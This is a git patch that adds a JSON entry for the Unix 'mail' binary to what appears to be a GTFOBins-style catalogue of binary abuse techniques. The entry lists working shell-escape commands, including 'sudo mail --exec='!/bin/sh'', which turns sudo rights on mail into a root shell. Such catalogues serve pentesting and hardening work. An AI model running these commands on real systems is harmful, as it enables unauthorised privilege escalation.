From 0096472362a22c9a7ed9fee4ed2ba2849b57d26a Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Fri, 10 Jan 2020 08:20:56 +0100 Subject: [PATCH] add data for mail --- data/mail.json | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 data/mail.json diff --git a/data/mail.json b/data/mail.json new file mode 100644 index 0000000..2f1856a --- /dev/null +++ b/data/mail.json @@ -0,0 +1,20 @@ +{ + "functions": { + "shell": [ + { + "description": "GNU version only.", + "code": "mail --exec='!/bin/sh'" + }, + { + "description": "This creates a valid Mbox file which may be required by the binary.", + "code": "TF=$(mktemp)\necho \"From nobody@localhost $(date)\" > $TF\nmail -f $TF\n!/bin/sh\n" + } + ], + "sudo": [ + { + "description": "GNU version only.", + "code": "sudo mail --exec='!/bin/sh'" + } + ] + } +} \ No newline at end of file